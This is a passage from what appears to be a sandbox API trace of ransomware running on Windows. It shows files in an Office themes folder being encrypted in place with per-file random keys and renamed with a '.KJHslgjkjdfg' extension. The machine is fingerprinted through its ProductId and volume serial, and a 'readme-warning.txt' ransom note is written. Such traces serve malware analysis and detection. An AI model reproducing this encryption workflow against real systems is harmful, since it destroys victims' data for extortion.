(HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.108] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0148.108] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.108] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0148.108] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.108] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.108] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.109] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.109] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.109] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x265, lpOverlapped=0x0) returned 1 [0148.109] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x270, dwBufLen=0x270 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x270) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.109] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x270, lpOverlapped=0x0) returned 1 [0148.109] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.109] SetEndOfFile (hFile=0x118) returned 1 [0148.111] GetProcessHeap () returned 0x2a0000 [0148.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.111] GetProcessHeap () returned 0x2a0000 [0148.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.kjhslgjkjdfg")) returned 1 [0148.114] CloseHandle (hObject=0x118) returned 1 [0148.114] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0148.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.115] GetProcessHeap () returned 0x2a0000 [0148.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.115] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.115] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.115] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0148.119] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.119] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.119] GetProcessHeap () returned 0x2a0000 [0148.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.119] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0148.119] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.119] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0148.119] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.119] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.119] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.119] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.119] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.120] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.120] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.120] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.120] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbb5a, lpOverlapped=0x0) returned 1 [0148.284] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbb60, dwBufLen=0xbb60 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbb60) returned 1 [0148.284] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.284] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbb60, lpOverlapped=0x0) returned 1 [0148.285] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.285] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.285] SetEndOfFile (hFile=0x118) returned 1 [0148.287] GetProcessHeap () returned 0x2a0000 [0148.287] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.288] GetProcessHeap () returned 0x2a0000 [0148.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0148.291] CloseHandle (hObject=0x118) returned 1 [0148.291] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0148.291] GetProcessHeap () returned 0x2a0000 [0148.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.291] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.291] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0148.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.292] GetProcessHeap () returned 0x2a0000 [0148.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0148.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.292] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0148.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.292] GetProcessHeap () returned 0x2a0000 [0148.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0148.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.292] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0148.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.292] GetProcessHeap () returned 0x2a0000 [0148.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0148.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.292] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0148.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.292] GetProcessHeap () returned 0x2a0000 [0148.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0148.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.292] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0148.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.292] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0148.293] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0148.293] RegCloseKey (hKey=0x118) returned 0x0 [0148.293] GetProcessHeap () returned 0x2a0000 [0148.293] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0148.293] GetProcessHeap () returned 0x2a0000 [0148.293] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0148.293] GetProcessHeap () returned 0x2a0000 [0148.293] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0148.293] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0148.293] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0148.293] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.293] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0148.293] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0148.293] GetProcessHeap () returned 0x2a0000 [0148.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0148.294] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0148.294] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0148.294] GetProcessHeap () returned 0x2a0000 [0148.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0148.294] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt") returned 82 [0148.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.294] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0148.295] CloseHandle (hObject=0x118) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.296] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0148.296] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0148.296] GetProcessHeap () returned 0x2a0000 [0148.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0148.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0148.297] GetProcessHeap () returned 0x2a0000 [0148.297] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0148.297] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0148.297] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0148.297] GetProcessHeap () returned 0x2a0000 [0148.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0148.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.299] GetProcessHeap () returned 0x2a0000 [0148.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.299] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.299] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.299] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0148.347] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.347] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.347] GetProcessHeap () returned 0x2a0000 [0148.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.348] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0148.348] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.348] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0148.348] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.348] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.348] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.348] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.348] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.348] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.348] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.348] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.348] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe1b, lpOverlapped=0x0) returned 1 [0148.349] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe20) returned 1 [0148.349] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.349] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe20, lpOverlapped=0x0) returned 1 [0148.349] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.349] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.349] SetEndOfFile (hFile=0x118) returned 1 [0148.352] GetProcessHeap () returned 0x2a0000 [0148.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.352] GetProcessHeap () returned 0x2a0000 [0148.352] HeapFree (in: hHeap=0x2a0000, 